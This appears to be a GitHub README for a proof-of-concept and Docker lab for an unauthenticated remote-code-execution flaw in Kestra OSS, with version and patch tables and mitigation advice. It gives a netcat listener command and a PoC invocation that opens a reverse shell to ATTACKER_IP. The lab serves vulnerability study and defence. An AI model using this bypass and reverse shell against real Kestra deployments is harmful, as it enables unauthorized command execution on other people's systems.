eqstlab/cve-2026-49869PoC and Docker lab for CVE-2026-49869, an unauthenticated RCE in Kestra OSS via an AuthenticationFilter path bypass that allows flow creation and command execution.
★PoC and Docker lab for the authentication bypass in Kestra OSS AuthenticationFilter★
Run this lab only on systems you control. The
-p 8080:8080example may publish the vulnerable API on all host interfaces; block access from other networks.
https://github.com/user-attachments/assets/e8dc29f2-1fd2-49bb-9a61-3ae67ee69865
Kestra uses Basic Auth to protect its API. In affected OSS versions, AuthenticationFilter treats any request path ending in /configs as a public configuration endpoint. An unauthenticated client can therefore create a flow named configs and then execute it through API paths that both end in /configs. A shell task in that flow can execute commands in the Kestra worker container. The defect and RCE chain are described in the Kestra security advisory.
| Kestra OSS branch | Vulnerable versions | First patched version |
|---|---|---|
| 1.0.x and earlier | Before 1.0.45 | 1.0.45 |
| 1.1.x–1.3.x | 1.1.0 through 1.3.20 | 1.3.21 |
The lab uses v1.3.20 with OSS Basic Auth enabled. The issue affects this authentication path when the Kestra API is reachable; the local image is based on kestra/kestra:v1.3.20.
/configs; the advisory also describes SSRF through a workflow template.Container privileges do not imply host privileges.
The repository should contain Dockerfile, entrypoint.sh, and poc.py alongside this README. Docker is required to run the target; Python 3 is required for the PoC. No Python packages need to be installed.
docker build -t cve-2026-49869-lab .
docker run -d --name cve-2026-49869-lab -p 8080:8080 cve-2026-49869-lab
entrypoint.sh enables Basic Auth with a lab-only account:
| Username | Password |
|---|---|
[email protected] | Eqst123! |
Kestra requires an email-shaped username and a password with at least eight characters, upper- and lowercase letters, and a digit. These credentials are published for local testing only.
Wait until the first request returns 200. The second request should return 401, showing that Basic Auth protects an ordinary API path:
curl.exe -sS -o NUL -w "%{http_code}`n" http://127.0.0.1:8080/api/v1/configs
curl.exe -sS -o NUL -w "%{http_code}`n" http://127.0.0.1:8080/api/v1/main/flows/tutorial/notconfigs
If a stopped container already has the same name, use docker start cve-2026-49869-lab to reuse it, or remove that container before creating a new one with docker run.
The script sends two requests without credentials: one creates or updates configs/configs with a shell task, and the next starts its execution. No existing user-created flow is needed. Running the script again replaces the lab flow with the same name.
First, start a listener on the machine receiving the shell connection:
nc -lvnp LISTENER_PORT
Then run the PoC from the directory containing poc.py:
python poc.py http://TARGET:8080 --lhost ATTACKER_IP --lport LISTENER_PORT
For a Docker lab on the same machine, replace TARGET with 127.0.0.1. Set ATTACKER_IP to an IPv4 address the container can reach; the script does not start the listener. The script prints the execution response, including an execution ID. A connection at the listener is needed to confirm that the reverse shell itself worked.
The recorded local test used a harmless Log task to verify the authentication bypass and workflow execution. It did not run the reverse shell payload.
| Check | v1.3.20 | v1.3.21 |
|---|---|---|
| Ordinary protected API, no credentials | 401 | 401 |
Create configs flow, no credentials | 200 | 401 |
Start configs execution, no credentials | 200 | 401 |
| Harmless task on vulnerable version | SUCCESS, marker in logs | — |
The reverse shell callback is not part of these recorded results.
Upgrade to at least 1.0.45 on the 1.0.x branch or 1.3.21 on the 1.1.x–1.3.x branches. The upstream fix normalizes the path and checks the exact public configuration route instead of accepting every /configs suffix. Until the upgrade is complete, restrict access to the Kestra API and allow unauthenticated access only to the intended public route at a proxy.
docker rm -f cve-2026-49869-lab
docker image rm cve-2026-49869-lab